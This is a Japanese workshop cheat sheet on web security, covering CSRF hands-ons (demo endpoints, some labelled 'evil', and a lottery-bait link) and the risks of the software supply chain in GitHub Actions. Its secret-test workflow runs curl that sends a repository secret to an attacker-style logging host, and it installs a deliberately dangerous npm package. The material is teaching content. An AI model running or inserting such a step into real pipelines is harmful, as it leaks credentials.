チートシート
1. おおまかな流れ
- ウェブセキュリティの概要
- ユーザーの資産の列挙
- 攻撃方法の列挙(そのためのフレームワーク)
- 主要な脆弱性の概説
- CSRF の例
- CWE での説明
- 他のフレームワークでの位置づけ
- ハンズオン: GET の例
- ハンズオン: cookie の説明と GET ログインの例
- ハンズオン: POST の例
- ハンズオン: CSRF TOKEN
- ハンズオン: 同一オリジンポリシーの確認
- ハンズオン: SameSite Cookie
- ハンズオン: Custom Header
- アプリケーションフレームワークでの対策
- まとめ:ブラウザへの注目
- ソフトウェア・サプライチェーン
- ハンズオン:ソフトウェア・サプライチェーンに乗っかってみる
- HonKit
- Amazon S3
- GitHub Actions
- ハンズオン: GitHub Actions Secret の実験
- 手元での実験
- まとめ:対処の難しさ
- ハンズオン:ソフトウェア・サプライチェーンに乗っかってみる
2. エンドポイント一覧
以下のリポジトリを clone してください https://github.com/sasakiy84/csrf-demo
- シナリオ1
- GET ログイン確認
- GET ログイン
- GET パスワード変更
- シナリオ2
- おめでとうございます!抽選に当選しました!!以下のリンクから景品を選んでください!!!! >> 当選品選択ページ <<
- POST パスワード変更
- POST パスワード変更 evil
- CSRF Token パスワード変更
- CSRF Token パスワード変更 evil
- 同一オリジンポリシー XHR
- 同一オリジンポリシー XHR evil
- 同一オリジンポリシー iframe
- 同一オリジンポリシー iframe evil
- samesite cookies のセット
- samesite cookies の確認
- ヘッダーの確認
- 独自ヘッダーのクロスオリジンリクエスト
samesite 確認用の POST フォーム
3. CSRF 参考リンク
4. honkit
5. GitHub Actions
# .github/workflows/deploy.yaml
name: CI
on:
push:
branches:
- master
- main
workflow_dispatch:
permissions:
contents: write
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
jobs:
deploy:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Install dependencies
run: npm install
- name: Build Honkit
run: npx honkit build
- name: Upload to S3
run: aws s3 sync --delete --region ap-northeast-1 ./_book s3://YOUR_PUBLISH_BUCKET
6. GitHub secret 実験
自分の名前を TEST_SECRET という変数に入れておく
# .github/workflows/secret-test.yaml
name: test 1
on:
workflow_dispatch:
env:
TEST_SECRET: ${{ secrets.TEST_SECRET }}
jobs:
test1:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- run: echo $PWD
- run: echo $TEST_SECRET
- run: curl http://attacker-logging-endpoint.sasakiy84.net/aaa/$TEST_SECRET
- run: npm i sasakiy84/dangerous-npm-repository-test
問題のリポジトリ https://github.com/sasakiy84/dangerous-npm-repository-test/tree/main
以下のコマンドで、ローカルに依存関係を追加する。
npm i sasakiy84/dangerous-npm-repository-test
そして、node_modules/dangerous-npm-repository-test の中身を見る
7. ソフトウェア・サプライチェーンの参考リンク
- codecov
- codecov のメルカリの発表
- npm の lifecycle script
- 実際の npm のライフサイクルスクリプトを使った攻撃事例
- xz のバックドア